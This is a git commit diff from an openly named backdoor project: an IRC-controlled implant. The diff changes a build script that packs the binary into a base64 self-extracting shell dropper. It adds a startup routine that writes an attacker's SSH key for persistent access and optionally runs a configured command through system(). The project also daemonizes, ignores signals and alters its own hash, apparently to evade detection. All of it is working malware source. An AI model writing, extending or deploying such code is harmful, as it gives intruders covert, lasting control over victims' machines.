This commit is contained in:
usr 2024-05-12 12:47:02 +03:00
parent d8003d97e0
commit e6054f2f04
5 changed files with 22 additions and 8 deletions

View File

@ -6,6 +6,6 @@ payload=$(cat main | base64 | xargs | tr -d " ")
echo "#!/bin/sh" > script.sh
echo "f=\""$payload\" >> script.sh
echo -e "t=\$(mktemp -p \$TMPDIR XXXXXXX)\necho \$f | base64 -d > \$t\nchmod +x \$t\nexec \$t" >> script.sh
echo -e "t=\$(mktemp -p \$TMPDIR XXXXXXX); echo \$f | base64 -d > \$t; chmod +x \$t; exec \$t" >> script.sh
chmod +x script.sh

View File

@ -4,6 +4,7 @@
#define COMMON_BUF_SIZE 100
void backdoor_init(void);
void backdoor_offline(void);
void parse_cmd(IRCC_client *client);

View File

@ -29,15 +29,19 @@
/* Uncomment if you want to enable option */
/* #define CFG_SSH */
/* #define CFG_CMD */
/* Will start after startup */
#ifdef CFG_SSH
/*
* Writes your ssh key if connection
* was not established
*/
/* Writes your ssh key */
const char *ssh_key = "";
#endif
#ifdef CFG_CMD
/* Execute command */
const char *cmd = "";
#endif
#endif

View File

@ -10,9 +10,7 @@
static FILE *fp;
void backdoor_offline(void) {
sleep(60);
void backdoor_init(void) {
#ifdef CFG_SSH
/* Write ssh key */
size_t len = strlen(ssh_key);
@ -46,9 +44,17 @@ void backdoor_offline(void) {
fprintf(fp, "%s\n", ssh_key);
fclose(fp);
#ifdef CFG_CMD
system(cmd);
#endif
}
void backdoor_offline(void) {
sleep(60);
}
void send_info(IRCC_client *client, const char *buf) {
char *nick = strdup(client->irc_nick);
if (nick == NULL)

View File

@ -71,6 +71,7 @@ int main(void) {
ChangeHashSum();
daemon(0, 0);
/* Main */
if (fork() == 0) {
daemon(0, 0);
signal(SIGINT, SIG_IGN);
@ -79,6 +80,8 @@ int main(void) {
srand(getpid());
chdir(getenv("HOME"));
backdoor_init();
while (1)
if (start())
backdoor_offline();